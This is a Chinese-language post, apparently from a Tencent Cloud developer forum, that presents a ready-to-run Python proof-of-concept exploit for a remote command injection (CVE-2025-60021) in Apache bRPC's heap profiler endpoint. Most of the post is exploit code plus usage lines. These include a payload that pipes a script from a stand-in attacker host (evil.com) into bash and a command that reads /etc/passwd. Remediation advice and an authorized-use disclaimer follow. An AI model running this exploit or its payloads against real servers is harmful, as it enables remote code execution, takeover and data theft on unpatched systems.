
本项目提供了一个针对 CVE-2025-60021 漏洞的概念验证(PoC)利用脚本。该漏洞存在于 Apache bRPC 的堆性能分析器(heap profiler)内置服务中,影响 1.15.0 之前的所有版本。攻击者可以通过未经验证的 extra_options 参数注入并执行任意操作系统命令。
属性 | 信息 |
|---|---|
漏洞编号 | CVE-2025-60021 |
影响产品 | Apache bRPC(全平台) |
受影响版本 | < 1.15.0 |
漏洞类型 | 远程命令注入(CWE-77) |
利用端点 |
|
触发参数 |
|
CVSS评分 | 9.8/10(严重) |
;、&&、|)pip install requestsgit clone https://github.com/Ashwesker/Ashwesker-CVE-2025-60021.git
cd Ashwesker-CVE-2025-60021# 基本命令执行
python3 exploit.py http://target:8000 "whoami"
# 执行复杂命令
python3 exploit.py http://target:8000 "curl http://evil.com/shell.sh | bash"
# 执行带管道和重定向的命令
python3 exploit.py http://victim:8000 "cat /etc/passwd | grep root"target:目标 URL(如 http://victim:8000)cmd:要执行的系统命令def exploit(target_url, command):
# 漏洞端点
vuln_path = "/pprof/heap"
# 负载:通过extra_options注入命令(jemalloc直接传递给system执行)
# 使用 ; 或 && 或 | 连接命令
payload = f"; {command} #"
# URL编码(该漏洞不需要特殊编码)
params = {
"extra_options": payload
}
full_url = f"{target_url.rstrip('/')}{vuln_path}?{urllib.parse.urlencode(params)}"
print(f"[*] 发送负载到: {full_url}")
print(f"[*] 执行命令: {command}")
try:
# 使用GET请求(如果服务器允许,POST也可以工作)
r = requests.get(full_url, timeout=10, verify=False)
if r.status_code == 200:
print("[+] 利用可能成功!(200 OK)")
print("[+] 请检查监听器/服务器日志获取输出")
# 如果命令产生stdout,输出可能在响应体中
if r.text.strip():
print("\n响应体(可能的命令输出):\n")
print(r.text)
else:
print(f"[-] 收到状态码 {r.status_code} - 可能不存在漏洞?")
print(r.text[:500])
except Exception as e:
print(f"[-] 错误: {e}")if __name__ == "__main__":
# 创建参数解析器
parser = argparse.ArgumentParser(description="CVE-2025-60021 PoC - Apache bRPC RCE")
# 必需参数:目标URL和要执行的命令
parser.add_argument("target", help="目标URL(如 http://victim:8000)")
parser.add_argument("cmd", help="要执行的命令(如 'id' 或 'whoami' 或 'curl http://evil.com/shell.sh | bash')")
# 解析命令行参数
args = parser.parse_args()
# 调用漏洞利用函数
exploit(args.target, args.cmd)# 漏洞根本原因:
# Apache bRPC的heap profiler服务(/pprof/heap)在处理extra_options参数时,
# 未对用户输入进行充分的验证和清理,直接将参数传递给系统命令执行。
# 攻击者可以通过注入特殊字符(如;、&&、|)来执行任意命令。
# 漏洞请求示例:
# GET /pprof/heap?extra_options=;+恶意命令+#
# POST /pprof/heap (with extra_options=;恶意命令# in body)
# 修复建议:
# 1. 升级到Apache bRPC 1.15.0或更高版本
# 2. 在输入验证中对extra_options参数进行严格的过滤
# 3. 禁用不必要的profiling端点# 漏洞检测可以通过以下方式:
# 1. 发送无害的测试命令(如echo test)
# 2. 检查响应状态码和内容
# 3. 验证命令是否实际执行
# 安全注意事项:
# 本工具仅用于合法的安全测试和漏洞验证
# 使用时需获得目标系统的明确授权
# 未经授权的测试可能违反法律和道德规范本工具仅用于教育目的和安全研究。使用者需确保:
注意:该漏洞已在 Apache bRPC 1.15.0 版本中修复,建议所有用户立即升级到最新版本。
6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAPa7fk5J2/L2YkV9ucR20Sw
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。